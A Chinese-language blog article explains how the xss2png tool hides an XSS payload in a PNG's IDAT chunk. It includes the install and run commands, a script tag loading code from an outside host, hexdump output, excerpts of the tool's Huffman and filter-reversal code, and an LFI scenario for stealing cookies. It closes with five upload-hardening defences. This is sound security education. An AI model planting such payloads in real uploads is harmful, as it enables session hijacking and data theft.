ARTICLE DETAIL

建站实战干货

来自一线的建站与推广经验沉淀,每一条都经过真实交付验证。

把 XSS 藏进 PNG:xss2png 在 IDAT 数据块植入 payload 的实战避坑指南

2026/8/20 13:37:10 拓冰建站 浏览量
把 XSS 藏进 PNG:xss2png 在 IDAT 数据块植入 payload 的实战避坑指南 把 XSS 藏进 PNGxss2png 在 IDAT 数据块植入 payload 的实战避坑指南【免费下载链接】xss2pngPNG IDAT chunks XSS payload generator项目地址: https://gitcode.com/gh_mirrors/xs/xss2png一张 32×32 的 PNG 图片用任何看图软件打开都毫无异常可它的字节流里却明文躺着一行SCRIPT SRC//XSS.VAVKAMIL.CZ/SCRIPT。这不是电影桥段而是 xss2png 这个开源工具的真实产出——它专门把 XSS 代码种进 PNG 的 IDAT 数据块。读完本文你会拿到三样东西这条攻击为什么能成立、如何用一条命令亲手复现、以及上线前必须补上的防御动作。先看结果一条命令payload 明文烙进 IDAT先别急着啃原理我们直接看成品。克隆项目、装依赖、跑命令git clone https://gitcode.com/gh_mirrors/xs/xss2png cd xss2png pip install -r requirements.txt python3 xss2png.py -p SCRIPT SRC//XSS.VAVKAMIL.CZ/SCRIPT -o xss.png打印完一段 ASCII 横幅后工具提示[!] PNG output saved as: xss.png。这时用 hexdump 看一眼文件你会撞见这样的画面00000020 a3 00 00 00 79 49 44 41 54 78 9c 63 fc 3c 53 43 |....yIDATx.c.SC| 00000030 52 49 50 54 20 53 52 43 3d 2f 2f 58 53 53 2e 56 |RIPT SRC//XSS.V|注意49 44 41 54正是 IDAT 四个字母紧跟着的78 9c是 zlib 压缩流的文件头而后面3C 53 43 52 49 50 54对应的 ASCII 就是SCRIPT——你的 payload 以明文形式烙进了压缩数据里。可把这张图丢进图片查看器它又正常得不能再正常。你可能已经冒出一个问题IDAT 里装的明明是压缩后的图像数据压缩过的字节怎么可能还看得出明文这正是整个攻击最精妙的地方我们倒着推回去。倒推原理PNG 的货舱里为什么装得下明文把一张 PNG 想象成一艘集装箱货轮开头的固定签名\x89PNG\r\n\x1a\n是船牌号IHDR块是货物清单写明了宽、高、位深和颜色类型IDAT块是主货舱装着整张图像经 zlib 压缩后的字节IEND块是船尾的旗子表示卸货完毕。关键点在于PNG 规范并不要求 IDAT 里的数据只能被正确解压它只要求这块数据是合法的 zlib 流。压缩的本质是找重复、换短码而那些压缩不动的数据——比如随机像素——会被原样塞进输出流DEFLATE 格式为此专门保留了存储块stored block模式。xss2png 盯上的就是这道缝。核心魔法霍夫曼反向构造与过滤器反向补偿要让 payload 在压缩后的字节流里原形毕露靠的不是运气而是两段逆向操作代码都写在 xss2png.py 里。第一段是reverse_huffman()。DEFLATE 的输出本质上是一串比特流其中字面字符用一张公开的固定霍夫曼编码表编码——你可以把它理解成一本固定字典每个字节对应一串 0/1 码。字典是死的人却是活的编码规则既然已知就能反向构造输入让压缩器吐出的比特流恰好拼出你想要的那段明文。这和摩尔斯电码的反向使用是同一个思路——你知道每个字母的点划组合就能设计出一段电文让解码端读出指定内容。def reverse_huffman(huffman): bitstream for char in list(huffman): bits f{ord(char):08b} bitstream bits bitstream bitstream bitstream[::-1] # 反转比特流 bitstream bitstream[3:] # 跳过块头比特 # 用固定霍夫曼码表逐段解码得到反向构造后的字节序列 ... return .join(chars)第二段是绕过 PNG 过滤器。在压缩之前PNG 编码器会对每一行像素做差值预测Sub、Average 等过滤器只记录相邻像素的差值以提高压缩率。麻烦来了过滤器会把 payload 的字节搅乱。工具的做法是反着来——reverse_filter_1()先把过滤器将来要减掉的值加回去def reverse_filter_1(bin_string): p to_ord_array(bin_string) i 0 while i (len(p) - 3): p[i 3] (p[i 3] p[i]) % 256 # 反向补偿 Sub 过滤器 i 1 return p等 PIL 保存图片、编码器真正套上过滤器时加和减恰好抵消落盘的字节正是原始 payload。bypass_png_filters()甚至为 Sub 和 Average 两种过滤器各准备了一份补偿数据再拼接确保无论如何都能对上账。坦白说这套构造里有几处依赖具体编码器的行为代码里也残留着 TODO 和 this is just wrong 的自嘲注释属于典型的概念验证PoC工具——但 README 里的 hexdump 已经证明这条思路真实可行。攻击链条图片在什么场景下会炸payload 种进去了炸弹什么时候响答案藏在谁来解析这个文件里。PNG 自己永远不会执行脚本执行的是浏览器和服务器。最经典的触发场景是文件包含漏洞LFI比如 DVWA 靶场里?page../../hackable/uploads/xss.png这种写法会让 PHP 把上传的 PNG 读出来、直接拼进响应体。服务器返回的 Content-Type 是 text/html浏览器收到字节流后按 HTML 解析在一堆二进制垃圾里找到SCRIPT标签照单执行——脚本于是以同源身份运行偷会话、拿 cookie一气呵成。同样的逻辑也适用于那些Content-Type 没设对的图片服务2016 年公开的 Facebook 图片 XSS 案例、HackerOne 上 TempImage 挑战里的 PHP payload走的都是图片字节被当成代码解析这条路。而图片查看器不会中招因为它只关心如何把 IDAT 解压成像素多余的数据一律忽略——这正是它看起来一切正常的原因也是传统扫描器集体失明的原因恶意代码不是藏在损坏结构里而是藏在一段完全合法的压缩流中魔数校验、文件大小、渲染结果全都在规范之内。过来人经验上手前先避开的四个坑想亲手复现这几个坑我帮你提前踩了。⚠️ payload 会被强制转成大写。generate_final_payload 之前有一行args.payload.upper()所以选向量时要挑大小写不敏感的——HTML 标签天然满足SCRIPT SRC//...怎么写都能被解析。⚠️ payload 别太长。工具生成的是 32×32 的小画布像素容量有限长 payload 会溢出并触发兜底补 255 的逻辑。测短 payload、验证效果就够用了。⚠️ requirements.txt 里锁的是 Pillow 6.2.0在较新的 Python 上大概率装不上。报错就换pip install Pillow9不影响功能。⚠️ 最后也是最要紧的一条工具的运行参数里写着 Dont be evil :)。它是安全测试工具请在授权范围内用于靶场、CTF 和漏洞赏金别拿它做任何未经许可的事。防御落地按性价比排序的五道防线理解了原理防御就不再是背清单而是对症下药。✅ 第一道上传的图片一律净化再入库。解码后用 Pillow 重新缩放再保存重编码会让 IDAT 由编码器重新生成注入的字节基本失去立足点顺便还能剥离 EXIF 等元数据from PIL import Image img Image.open(upload.png).convert(RGB) img.thumbnail((1024, 1024)) img.save(clean.png, optimizeTrue)诚实提醒这不是万能药却是性价比最高的一层。✅ 第二道别让服务器把上传文件的内容拼进 HTML。文件包含、include、file_get_contents 后直接输出这些写法都得改。✅ 第三道所有图片响应带上X-Content-Type-Options: nosniff并严格设置 Content-Type掐掉浏览器的 MIME 嗅探。✅ 第四道配置 CSP把script-src白名单收紧到自有域名——就算脚本被解析执行也无处可去。✅ 第五道上传文件放独立域名、独立存储与主站 cookie 隔离。收尾把收获变成三步行动最后把今天的阅读变成可执行的下一步花十分钟在 DVWA 靶场跑一遍上面的命令亲眼看看 hexdump 里的明文 payload建立图片不等于安全的直觉。回你的项目检查三处上传有没有重编码净化、图片响应头有没有 nosniff、有没有把用户文件内容当 HTML 输出。把这条攻击路径讲给你的后端同事——防住这类攻击光靠安全团队一个人盯是不够的。图片是静态资源但谁解析它决定了它是风景还是炸弹。理解 xss2png 这类工具不是为了当黑客而是为了在下一次攻防里先对手一步想到这条路径。【免费下载链接】xss2pngPNG IDAT chunks XSS payload generator项目地址: https://gitcode.com/gh_mirrors/xs/xss2png创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考